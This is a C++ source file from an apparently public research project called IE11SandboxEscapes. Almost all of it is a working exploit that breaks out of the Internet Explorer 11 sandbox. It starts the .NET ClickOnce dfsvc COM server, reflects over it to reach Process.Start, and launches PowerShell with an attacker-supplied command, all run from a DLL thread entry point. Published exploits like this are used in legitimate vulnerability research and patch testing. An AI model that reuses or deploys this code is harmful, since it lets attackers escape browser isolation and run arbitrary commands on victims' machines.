// This file is part of IE11SandboxEsacapes.

// IE11SandboxEscapes is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.

// IE11SandboxEscapes is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.

// You should have received a copy of the GNU General Public License
// along with IE11SandboxEscapes.  If not, see <http://www.gnu.org/licenses/>.

#include "stdafx.h"

#define MAX_ENV 32767

#import <mscorlib.tlb> rename("ReportEvent", "_ReportEvent")

const wchar_t CLSID_DFSVC[] = L"{20FD4E26-8E0F-4F73-A0E0-F27B8C57BE6F}";

long GetSafeArrayLen(LPSAFEARRAY psa)
{
	long ubound = 0;

	SafeArrayGetUBound(psa, 1, &ubound);

	return ubound + 1;
}

mscorlib::_MethodInfoPtr GetStaticMethod(mscorlib::_TypePtr type, LPCWSTR findName, int pcount)
{
	LPSAFEARRAY methods = type->GetMethods_2();
	mscorlib::_MethodInfoPtr ret;
	LONG methodCount = GetSafeArrayLen(methods);

	for (long i = 0; i < methodCount; ++i)
	{
		IUnknown* v = nullptr;

		if (SUCCEEDED(SafeArrayGetElement(methods, &i, &v)))
		{
			mscorlib::_MethodInfoPtr method = v;

			bstr_t name = method->Getname();
			LPSAFEARRAY params = method->GetParameters();
			long paramCount = GetSafeArrayLen(params);

			if (method->IsStatic && wcscmp(name.GetBSTR(), findName) == 0 && paramCount == pcount)
			{
				ret = method;
				break;
			}
		}
	}

	SafeArrayDestroy(methods);

	return ret;
}

template<typename T> T ExecuteMethod(mscorlib::_MethodInfoPtr method, std::vector<variant_t>& args)
{
	variant_t obj;
	T retObj;

	SAFEARRAY * psa;
	SAFEARRAYBOUND rgsabound[1];

	rgsabound[0].lLbound = 0;
	rgsabound[0].cElements = (ULONG)args.size();
	psa = SafeArrayCreate(VT_VARIANT, 1, rgsabound);

	for (LONG indicies = 0; indicies < (LONG)args.size(); ++indicies)
	{
		SafeArrayPutElement(psa, &indicies, &args[indicies]);
	}

	variant_t ret = method->Invoke_3(obj, psa);

	if ((ret.vt == VT_UNKNOWN) || (ret.vt == VT_DISPATCH))
	{
		retObj = ret.punkVal;
	}

	SafeArrayDestroy(psa);

	return retObj;
}

bstr_t GetEnv(LPWSTR env)
{
	WCHAR buf[MAX_ENV];

	GetEnvironmentVariable(env, buf, MAX_ENV);

	return buf;
}

void DoDfsvcExploit()
{
	CLSID clsid;

	CLSIDFromString(CLSID_DFSVC, &clsid);

	DebugPrintf("Starting DFSVC Exploit\n");

	mscorlib::_ObjectPtr obj;

	HRESULT hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&obj));

	if (FAILED(hr))
	{
		WCHAR cmdline[] = L"dfsvc.exe";

		STARTUPINFO startInfo = { 0 };
		PROCESS_INFORMATION procInfo = { 0 };

		// Start dfsvc (because we can due to the ElevationPolicy)
		if (CreateProcess(GetEnv(L"windir") + L"\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe", cmdline,
			nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo))
		{
			CloseHandle(procInfo.hProcess);
			CloseHandle(procInfo.hThread);

			// Just sleep to ensure it comes up
			Sleep(4000);
			hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&obj));
		}
		else
		{
			DebugPrintf("Couldn't create service %d\n", GetLastError());
		}
	}

	if (SUCCEEDED(hr))
	{
		try
		{
			mscorlib::_TypePtr type = obj->GetType();

			// Get type of Type (note defaults to RuntimeType then TypeInfo)
			type = type->GetType()->BaseType->BaseType;

			DebugPrintf("TypeName: %ls", type->FullName.GetBSTR());

			mscorlib::_MethodInfoPtr getTypeMethod = GetStaticMethod(type, L"GetType", 1);

			DebugPrintf("getTypeMethod: %p", (void*)getTypeMethod);

			std::vector<variant_t> getTypeArgs;

			getTypeArgs.push_back(L"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089");

			// Get process type
			type = ExecuteMethod<mscorlib::_TypePtr>(getTypeMethod, getTypeArgs);

			if (type)
			{
				mscorlib::_MethodInfoPtr startMethod = GetStaticMethod(type, L"Start", 2);

				if (startMethod)
				{
					std::vector<variant_t> startArgs;

					startArgs.push_back(L"powershell");
					startArgs.push_back(GetEnv(L"PSHCMD"));

					ExecuteMethod<mscorlib::_ObjectPtr>(startMethod, startArgs);
				}
				else
				{
					DebugPrintf("Couldn't find Start method");
				}
			}
			else
			{
				DebugPrintf("Couldn't find Process Type");
			}
		}
		catch (_com_error e)
		{
			DebugPrintf("COM Error: %ls\n", e.ErrorMessage());
		}
	}
	else
	{
		DebugPrintf("Error get dfsvc IUnknown: %08X\n", hr);
	}
}

DWORD CALLBACK ExploitThread(LPVOID hModule)
{
	CoInitialize(nullptr);
	DoDfsvcExploit();
	CoUninitialize();

	FreeLibraryAndExitThread((HMODULE)hModule, 0);
}